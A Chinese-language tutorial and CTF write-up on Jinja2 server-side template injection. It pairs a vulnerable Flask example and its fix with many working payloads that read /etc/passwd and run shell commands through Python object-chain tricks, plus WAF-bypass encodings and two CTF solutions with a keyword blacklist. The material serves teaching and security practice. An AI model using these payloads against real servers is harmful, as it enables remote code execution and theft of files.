SSTI漏洞

SSTI漏洞

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

Python中的SSTI

python常见的模板有:Jinja2,tornado。

Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的

Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 块

Jinja2使用 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

语法:

{{ ... }} 是执行表达式并把结果插入页面的位置

{% ... %} 用来声明变量,也可以用于循环语句和条件语句

这边使用vulhub提供的环境进行复现,搭建成功后访问首页如图:

img

进入docker容器来看一下web代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

t = Template(“hello” + name) 这行代码表示,将前端输入的name拼接到模板,此时name的输入没有经过任何检测,尝试使用模板语言测试:

PixPin_2025-07-17_16-26-09

如果使用一个固定好了的模板,在模板渲染之后传入数据,就不存在模板注入,就好像SQL注入的预编译一样,修复上面代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello {{n}}")
return t.render(n=name)

if __name__ == "__main__":
app.run()

编译运行,再次注入就会失败

PixPin_2025-07-17_16-43-39

  • 之前写的是:

    1
    2
    t = Template("Hello " + name)
    return t.render()

    这会把用户输入直接拼进模板字符串,如果用户输入带有 {{ ... }},就会被当作代码执行,导致 SSTI 漏洞。

  • 现在这段代码:

    1
    2
    t = Template("Hello {{n}}")
    return t.render(n=name)

    模板字符串是固定的,变量值通过参数传入,Jinja2 只会把变量内容作为纯文本插入,不会执行其中的代码。

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__dict__   :保存类实例或对象实例的属性变量键值对字典
__class__  :返回一个实例所属的类
__mro__   :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)
__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__  :以列表返回类的子类
__init__   :类的初始化方法
__globals__   :对包含函数全局变量的字典的引用
__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                 
这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  
在py3中__builtin__被换成了builtin 

1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

用file对象读取文件(python2)

python2在线编译:Python2 在线工具 | 菜鸟工具

代码解析

1
2
3
4
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('joker.txt').readlines()

这段代码用 Python 写的,主要目的是通过 Python 内置类型的反射机制,查找并使用文件(file)类,打开并读取名为 joker.txt 的文件内容。下面详细解释:

  1. {}.__class__

PixPin_2025-07-17_17-07-31

  • {} 是一个空字典,类型是 dict
  • {}.__class__ 就是 <class 'dict'>,即字典的类对象。

PixPin_2025-07-17_17-07-31 2.{}.__class__.__base__

  • dict 的基类(父类),通常是 object

  • 也就是获取字典的父类。PixPin_2025-07-17_17-07-58

  1. {}.__class__.__base__.__subclasses__()
  • object 类有个方法 __subclasses__(),返回所有直接继承自它的子类列表。
  • 这段代码用 object 这个基类调用 __subclasses__(),获取系统中所有继承自 object 的类列表。
1
2
for i, c in enumerate({}.__class__.__base__.__subclasses__()):
print("{i}: {c}".format(i=i, c=c))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
0: <type 'type'>
1: <type 'weakref'>
2: <type 'weakcallableproxy'>
3: <type 'weakproxy'>
4: <type 'int'>
5: <type 'basestring'>
6: <type 'bytearray'>
7: <type 'list'>
8: <type 'NoneType'>
9: <type 'NotImplementedType'>
10: <type 'traceback'>
11: <type 'super'>
12: <type 'xrange'>
13: <type 'dict'>
14: <type 'set'>
15: <type 'slice'>
16: <type 'staticmethod'>
17: <type 'complex'>
18: <type 'float'>
19: <type 'buffer'>
20: <type 'long'>
21: <type 'frozenset'>
22: <type 'property'>
23: <type 'memoryview'>
24: <type 'tuple'>
25: <type 'enumerate'>
26: <type 'reversed'>
27: <type 'code'>
28: <type 'frame'>
29: <type 'builtin_function_or_method'>
30: <type 'instancemethod'>
31: <type 'function'>
32: <type 'classobj'>
33: <type 'dictproxy'>
34: <type 'generator'>
35: <type 'getset_descriptor'>
36: <type 'wrapper_descriptor'>
37: <type 'instance'>
38: <type 'ellipsis'>
39: <type 'member_descriptor'>
40: <type 'file'>
41: <type 'PyCapsule'>
42: <type 'cell'>
43: <type 'callable-iterator'>
44: <type 'iterator'>
45: <type 'sys.long_info'>
46: <type 'sys.float_info'>
47: <type 'EncodingMap'>
48: <type 'fieldnameiterator'>
49: <type 'formatteriterator'>
50: <type 'sys.version_info'>
51: <type 'sys.flags'>
52: <type 'exceptions.BaseException'>
53: <type 'module'>
54: <type 'imp.NullImporter'>
55: <type 'zipimport.zipimporter'>
56: <type 'posix.stat_result'>
57: <type 'posix.statvfs_result'>
58: <class 'warnings.WarningMessage'>
59: <class 'warnings.catch_warnings'>
60: <class '_weakrefset._IterationGuard'>
61: <class '_weakrefset.WeakSet'>
62: <class '_abcoll.Hashable'>
63: <type 'classmethod'>
64: <class '_abcoll.Iterable'>
65: <class '_abcoll.Sized'>
66: <class '_abcoll.Container'>
67: <class '_abcoll.Callable'>
68: <type 'dict_keys'>
69: <type 'dict_items'>
70: <type 'dict_values'>
71: <class 'site._Printer'>
72: <class 'site._Helper'>
73: <type '_sre.SRE_Pattern'>
74: <type '_sre.SRE_Match'>
75: <type '_sre.SRE_Scanner'>
76: <class 'site.Quitter'>
77: <class 'codecs.IncrementalEncoder'>
78: <class 'codecs.IncrementalDecoder'>

可以看到file类是第40个。

  1. for c in ...
  • 遍历所有的 object 的子类。
  1. if(c.__name__=='file')
  • 判断当前类的名字是否是字符串 'file'
  • 这里想找到名为 file 的类。
  1. print(c)
  • 打印该类对象。
  1. print c('joker.txt').readlines()
  • 实例化该类,传入 'joker.txt' 作为参数,等同于打开 joker.txt 文件。
  • 调用 readlines() 方法,读取文件所有行并返回列表。
  • 然后打印读取的内容。

使用jinja2的语法封装成可解析的样子:

1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

{% for ... %}{% if ... %} 是控制流标签

{{ ... }}:模板输出值的位置

也可以写成:

1
{}.__class__.__base__.__subclasses__()[40]("joker.txt").readlines()

代码解释:

[40]("joker.txt"):取出第 40 个类,并实例化它

.readlines():读取内容

用内置模块执行命令

通过 __globals__利用别人已经导入的 os

上面的实例中我们使用__subclasses__()把内置的对象列举出来,其实可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行

os模块:因为 Python 的 os 模块是对 操作系统功能 的封装,其中包含了调用系统命令文件操作环境控制等能力。一旦你能访问 os 模块,就可以做几乎任何事情——也就是所谓的“任意命令执行”。

即使你不能 import os,你可以通过 __globals__利用别人已经导入的 os

我们可以继续深入拿到函数类的 __globals__,找到 os 模块,然后用 os.popen("whoami").read() 远程执行命令。

1
2
3
4
5
6
7
8
9
10
#coding:utf-8
search = 'os' #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

PixPin_2025-07-17_18-15-12

解释代码

search = 'os'

目标字符串,表示你想在类中查找是否有 os 模块被引用。你也可以换成其他模块名,比如 syssubprocess 等。

if search in i.__init__.__globals__.keys():

尝试获取该类构造函数 __init____globals__,也就是这个函数定义时的全局变量字典。检查有没有 search 指定的模块名(例如 'os')在这个类定义时被引用。

print(i, num)

如果找到了引用,打印这个类和它的序号。

except: pass

防止报错(有些类没有 __init__,或者 __init__ 不是 Python 函数对象),就跳过。

可以看到在元组61,76的位置找到了os模块,这样就可以构造命令执行payload:

1
2
3
4
().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].system('whoami')
().__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[76].__init__.__globals__['os'].system('whoami')

拆解分析:

1
2
3
4
().__class__                      # 是 <class 'tuple'>,空元组的类
().__class__.__mro__ # 是 (<class 'tuple'>, <class 'object'>)
().__class__.__mro__[1] # 是 <class 'object'>
().__class__.__mro__[1].__subclasses__() # 获取 object 的所有子类(一个列表)

只要这个类的 __init__ 在全局作用域里导入了 os,你就能通过它拿到 os 模块。

于是执行:

1
['os'].system('whoami')  # 调用操作系统命令:whoami

不过同样,只能在python2版本使用,这时候就要推荐__builtins__

使用__builtin__ 模块导入模块

在 python 中,不引入直接使用的内置函数被称为 builtin 函数,随着 __builtin__ 这个模块自动引⼊到环境中。

我们如何引入模块呢?

⼀个模块对象有⼀个由字典对象实现的命名空间,属性的引用会被转换为这个字典中的查找:

字典访问属性访问简单定义

访问方式 示例 说明
属性访问 obj.attr 使用「点」. 来访问对象的属性
字典访问 obj['key'] 使用方括号 [] 来通过键访问字典的值
  • 两者在语法和底层行为上是不同的。

我们先把含有__builtins__模块的内置函数使用字典都列出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
#coding:utf-8

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num += 1
try:
print(i.__init__.__globals__.keys())
if search in i.__init__.__globals__.keys():
print(i, num)
except:
pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']
(<class 'warnings.WarningMessage'>, 58)
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']
(<class 'warnings.catch_warnings'>, 59)
['__all__', '__builtins__', '__file__', '_IterationGuard', '__package__', '__name__', 'ref', '__doc__', 'WeakSet']
(<class '_weakrefset._IterationGuard'>, 60)
['__all__', '__builtins__', '__file__', '_IterationGuard', '__package__', '__name__', 'ref', '__doc__', 'WeakSet']
(<class '_weakrefset.WeakSet'>, 61)
['traceback', 'setencoding', 'sethelper', 'execsitecustomize', '__builtin__', 'addsitedir', 'addpackage', 'ENABLE_USER_SITE', 'USER_SITE', 'setquit', 'setcopyright', 'addsitepackages', '_Printer', 'setBEGINLIBPATH', 'check_enableusersite', '__package__', 'USER_BASE', 'abs__file__', 'main', '__doc__', '_Helper', '_script', '__builtins__', '__file__', '_init_pathinfo', 'removeduppaths', 'sys', 'getsitepackages', '__name__', 'getusersitepackages', 'execusercustomize', 'aliasmbcs', 'makepath', 'getuserbase', 'PREFIXES', 'addusersitepackages', 'os']
(<class 'site._Printer'>, 71)
['traceback', 'setencoding', 'sethelper', 'execsitecustomize', '__builtin__', 'addsitedir', 'addpackage', 'ENABLE_USER_SITE', 'USER_SITE', 'setquit', 'setcopyright', 'addsitepackages', '_Printer', 'setBEGINLIBPATH', 'check_enableusersite', '__package__', 'USER_BASE', 'abs__file__', 'main', '__doc__', '_Helper', '_script', '__builtins__', '__file__', '_init_pathinfo', 'removeduppaths', 'sys', 'getsitepackages', '__name__', 'getusersitepackages', 'execusercustomize', 'aliasmbcs', 'makepath', 'getuserbase', 'PREFIXES', 'addusersitepackages', 'os']
(<class 'site.Quitter'>, 76)
['latin_1_encode', 'getreader', 'readbuffer_encode', 'BOM', 'StreamWriter', 'BOM64_BE', 'ascii_decode', 'IncrementalDecoder', '__file__', 'BOM_UTF32', 'BufferedIncrementalDecoder', 'ignore_errors', 'replace_errors', 'BOM_BE', 'utf_16_be_decode', 'charmap_build', 'escape_encode', 'BOM_UTF16_BE', 'xmlcharrefreplace_errors', 'unicode_escape_encode', '__all__', 'utf_16_decode', '__builtins__', 'lookup_error', 'getincrementalencoder', '__name__', 'EncodedFile', 'backslashreplace_errors', 'getincrementaldecoder', 'register_error', 'BOM32_BE', 'getencoder', 'make_identity_dict', 'BOM_UTF32_LE', '__builtin__', 'open', 'iterencode', 'decode', 'IncrementalEncoder', 'latin_1_decode', 'utf_32_le_decode', 'getwriter', 'charmap_encode', 'encode', 'unicode_internal_encode', 'StreamReader', 'make_encoding_map', 'utf_16_ex_decode', 'getdecoder', 'charbuffer_encode', 'utf_7_encode', 'utf_32_decode', 'BOM32_LE', 'StreamReaderWriter', 'utf_16_encode', '__doc__', 'raw_unicode_escape_encode', 'BOM_UTF32_BE', 'utf_16_le_encode', 'unicode_internal_decode', 'utf_32_be_encode', 'CodecInfo', 'BOM_UTF16_LE', 'BufferedIncrementalEncoder', 'BOM_LE', 'Codec', '_false', 'utf_8_decode', 'raw_unicode_escape_decode', 'utf_7_decode', 'unicode_escape_decode', '__package__', 'lookup', 'strict_errors', 'utf_32_ex_decode', 'escape_decode', 'utf_32_be_decode', 'StreamRecoder', 'sys', 'utf_16_le_decode', 'iterdecode', 'utf_32_encode', 'charmap_decode', 'BOM_UTF16', 'BOM_UTF8', 'utf_32_le_encode', 'BOM64_LE', 'ascii_encode', 'register', 'utf_8_encode', 'utf_16_be_encode']
(<class 'codecs.IncrementalEncoder'>, 77)
['latin_1_encode', 'getreader', 'readbuffer_encode', 'BOM', 'StreamWriter', 'BOM64_BE', 'ascii_decode', 'IncrementalDecoder', '__file__', 'BOM_UTF32', 'BufferedIncrementalDecoder', 'ignore_errors', 'replace_errors', 'BOM_BE', 'utf_16_be_decode', 'charmap_build', 'escape_encode', 'BOM_UTF16_BE', 'xmlcharrefreplace_errors', 'unicode_escape_encode', '__all__', 'utf_16_decode', '__builtins__', 'lookup_error', 'getincrementalencoder', '__name__', 'EncodedFile', 'backslashreplace_errors', 'getincrementaldecoder', 'register_error', 'BOM32_BE', 'getencoder', 'make_identity_dict', 'BOM_UTF32_LE', '__builtin__', 'open', 'iterencode', 'decode', 'IncrementalEncoder', 'latin_1_decode', 'utf_32_le_decode', 'getwriter', 'charmap_encode', 'encode', 'unicode_internal_encode', 'StreamReader', 'make_encoding_map', 'utf_16_ex_decode', 'getdecoder', 'charbuffer_encode', 'utf_7_encode', 'utf_32_decode', 'BOM32_LE', 'StreamReaderWriter', 'utf_16_encode', '__doc__', 'raw_unicode_escape_encode', 'BOM_UTF32_BE', 'utf_16_le_encode', 'unicode_internal_decode', 'utf_32_be_encode', 'CodecInfo', 'BOM_UTF16_LE', 'BufferedIncrementalEncoder', 'BOM_LE', 'Codec', '_false', 'utf_8_decode', 'raw_unicode_escape_decode', 'utf_7_decode', 'unicode_escape_decode', '__package__', 'lookup', 'strict_errors', 'utf_32_ex_decode', 'escape_decode', 'utf_32_be_decode', 'StreamRecoder', 'sys', 'utf_16_le_decode', 'iterdecode', 'utf_32_encode', 'charmap_decode', 'BOM_UTF16', 'BOM_UTF8', 'utf_32_le_encode', 'BOM64_LE', 'ascii_encode', 'register', 'utf_8_encode', 'utf_16_be_encode']
(<class 'codecs.IncrementalDecoder'>, 78)

可以发现每个都是字典形式:我们通过__builtins__['__import__'] 来访问__import__模块

然后导入 os 模块:__builtins__['__import__']('os')

这时候我们的命令执行payload就出来了:

__builtins__.__dict__['__import__']('os').system('whoami')

1
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").system("whoami")

通过函数 eval 和 exec导入模块:

还有另一种导入import模块的方法:

通过函数导入模块 eval 和 exec:

1
2
3
eval('__import__("os").system("dir")') 

exec('__import__("os").system("dir")'
1
().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

基础payload

获取基本类

1
2
3
4
5
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

1.利用os 模块的 popen 函数和 system 函数

1
''.__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('cat  /etc/passwd').read()
1
''.__class__.__base__.__subclasses__()[154].__init__.__globals__['system']('cat  /etc/passwd')

2.利用subprocess

1
2
3
for i, cls in enumerate(object.__subclasses__()):
print(f"{i}: {cls.__name__}")

1
''.__class__.__base__.__subclasses__()[253](['cat','/etc/passwd']).stdout.read()
1
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['ls','/'],stdout=-1).communicate()[0]

3.利用lipsum内置函数

在 Jinja2 模板中,lipsum 通常是内置的函数(例如在 Flask 中你使用 render_template() 并启用 jinja2.ext.i18njinja2.ext.do 扩展时),你可能会看到 lipsum 可用于生成虚拟文本(lorem ipsum)。

1
{{ lipsum.__globals__["os"].popen('ls /').read() }}

常见绕waf的姿势

SSTI模板注入Plus | Bypass - h0cksr - 博客园

绕过特殊字符串过滤:

逆序:

如绕过 os 过滤,可以⽤字符串的变化来引⼊ os

1
__import__('so'[::-1]).system('whoami')

利⽤ eval 或者 exec ,结合字符串倒序

1
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) 
1
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

拼接

1
b = 'o' a = 's' 
1
__import__(a+b).system('whoami')

编码处理

base64 、 hex 、 rot3 、 unicode 、 oct 、字符串拼接等

示例 技术分类 说明
['__builtins__'] 直接字符串 正常方式访问
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] 十六进制转义 每个字符用 \xNN 表示
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] Unicode 转义 每个字符用 \uXXXX 表示
['X19idWlsdGluc19f'.decode('base64')] base64 解码 '__builtins__' 的 base64 编码是 X19idWlsdGluc19f
['__buil'+'tins__'] 字符串拼接 分段拼接
['__buil''tins__'] Python 自动连接字面值 两个字符串紧挨着 Python 会自动连接
['__buil'.__add__('tins__')] 使用字符串对象方法 等价于 '__buil' + 'tins__'
["_builtins_".join("__")] 利用 join 拼接 结果为 _builtins___builtins_(这个可能是示例写错)
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)] 格式化输出字符 %c 将数字格式化成 ASCII 字符,得到 '__builtins__'

16进制编码转换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def string_to_hex(string):
# 将字符串编码成字节(bytes)
byte_array = string.encode('utf-8')

# 将字节数组转换为16进制表示,并返回为一个字符串
hex_string = byte_array.hex()

return hex_string

# 测试字符串
input_string = input("请输入要转换的字符串: ")
hex_output = string_to_hex(input_string)

print(f"转换后的16进制字符串是: {hex_output}")

popen代替system

如果删除了 system 这个函数,我们可以寻找其他进⾏命令执行的函数,如 popen:

1
2
3
4
5
__import__('os').popen('whoami').read()  

__import__('os').popen2('whoami').read() # py2

__import__('os').popen3('whoami').read() # py3

使用getattr获取对象的属性

getattr() 是 Python 的内置函数,用于根据字符串动态获取对象的属性

可以通过 getattr拿到对象的方法、属性:

1
getattr(os 'metsys'[::-1])('whoami')

等价于:

1
os.system('whoami')

字符的绕过

魔法函数绕过[]

获取键值的本质是调用魔法函数__getitem__()

所以可以使用__getitem__()替代中括号取键值当中括号被过滤时,可以使用__getitem__()代替[],实现绕过。

此外对于字典对象的话还可使用pop()函数得到键值,还有其他一些方法如下

1
2
3
4
5
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}

过滤引号

chr函数

python2:

第一行:获取内置函数 chr

第二行:构造路径并使用file对象读取文件

1
2
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
request对象
1
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

这个 payload:

1
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}

配合访问方式:

1
http://target/?path=/etc/passwd
dict() 拿键
1
2
3
list(dict(whoami=1))[0] 
str(dict(whoami=1))[2:8]
'whoami'

payload1:

  • dict(whoami=1) 会构造一个字典:{'whoami': 1}
  • list(...) 会把字典的 转换成列表:['whoami']
  • [0] 取第一个键,也就是 'whoami'

payload2:

  • dict(whoami=1) 还是构造字典 {'whoami': 1}
  • str(...) 转换成字符串(格式可能是:"{'whoami': 1}",注意不同 Python 版本可能有空格)
  • [2:8] 是字符串切片,从第3个字符到第8个字符
str 和 [] 结合
1
str(().__class__.__new__)

().__class__ → 是 object,因为 () 是个空元组,元组是类 tuple 的实例,而 tuple 的基类是 object

().__class__.__new__ → 得到的是 object.__new__ 这个方法。

str(...) → 把这个方法变成字符串(通常是其描述形式):

输出类似于:

1
#"<built-in method __new__ of type object at 0x00007FF8E39F0AF0>"

用索引 [21], [13] 等,是在对这个字符串做 字符索引切片操作,手动“拼接”字符串 "whoami"

1
2
3
4
5
6
str(().__class__.__new__)[21]
#w
os.system(
str(().__class__.__new__)[21]+str(().__class__.__new__)[13
)
#os.system(whoami)

空格

通过 () 、 [] 替换

()

  1. 利⽤装饰器 @

  2. 利⽤魔术⽅法,例如 enum.EnumMeta.__getitem__

  3. 一般题目直接过滤小括号的话那可以直接考虑flag在当前app的环境变量中了

TGCTF2025直面天命(复仇)

PixPin_2025-07-18_17-03-17

查看源代码跳转/hint路由,然后跳转到 //aazz路由 ,查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

黑名单:

1
black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']

需要1.不含黑名单单词2.所有字符均为可打印字符3.包含完整secret_key才能获取到flag

secret_key天命 难违天命被替换为{{`,`难违`被替换为`}}

我们最后需要把payload写进天命 难违之间。

构造payload:

看有没有哪些类可以用

1
''.__class__.__mro__[1].__subclasses__()

waf里有._ bases

1
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()

PixPin_2025-07-18_17-17-32

subprocess.Popen 是一个类,能更灵活地启动子进程:

PixPin_2025-07-18_17-26-26

,替换成\n复制到VScode,

PixPin_2025-07-18_17-31-35

可以看到是第352个类。

[][“\x5f\x5fclass\x5f\x5f”]

1
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['ls','/'],stdout=-1).communicate()[0]

PixPin_2025-07-18_17-46-06

可以看到flag所在的目录:

1
ntgffff11111aaaagggggggg
1
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[351](['cat','/tgffff11111aaaagggggggg'],stdout=-1).communicate()[0]

PixPin_2025-07-18_17-46-41

也可以用16进制和[]绕过

1
2
天命()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('ls /')["\x72\x65\x61\x64"]()难违

1
2
天命()['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']['\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f'][0]['\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f']()[132]['\x5f\x5f\x69\x6e\x69\x74\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x70\x6f\x70\x65\x6e']('cat /tgffff11111aaaagggggggg')["\x72\x65\x61\x64"]()难违

polarCTF ghost_render

题目写了渲染再上传到,md里写{{7*7}},界面渲染结果是49

PixPin_2025-07-18_17-57-47

抓包直接传{{[].__class__.__bases__[0].subclasses__()}}

PixPin_2025-07-18_18-00-54

可以看到第280个类是:subprocess

PixPin_2025-07-18_18-05-50

[][“\x5f\x5fclass\x5f\x5f”]

1
[]["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[279](['ls','/'],stdout=-1).communicate()[0]

PixPin_2025-07-18_18-09-31

根目录下没有,在/var里面:

PixPin_2025-07-18_18-11-03

flag在/var/secret_flag

PixPin_2025-07-18_19-54-16

在这篇里发现了另一个可用的payload[有效载荷/服务器端模板注入/python.md在主人·swisskyrepo/paryloadsallthethings·github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/Python.md?ref=blog.qz.sg#jinja2—remote-command-execution)

1
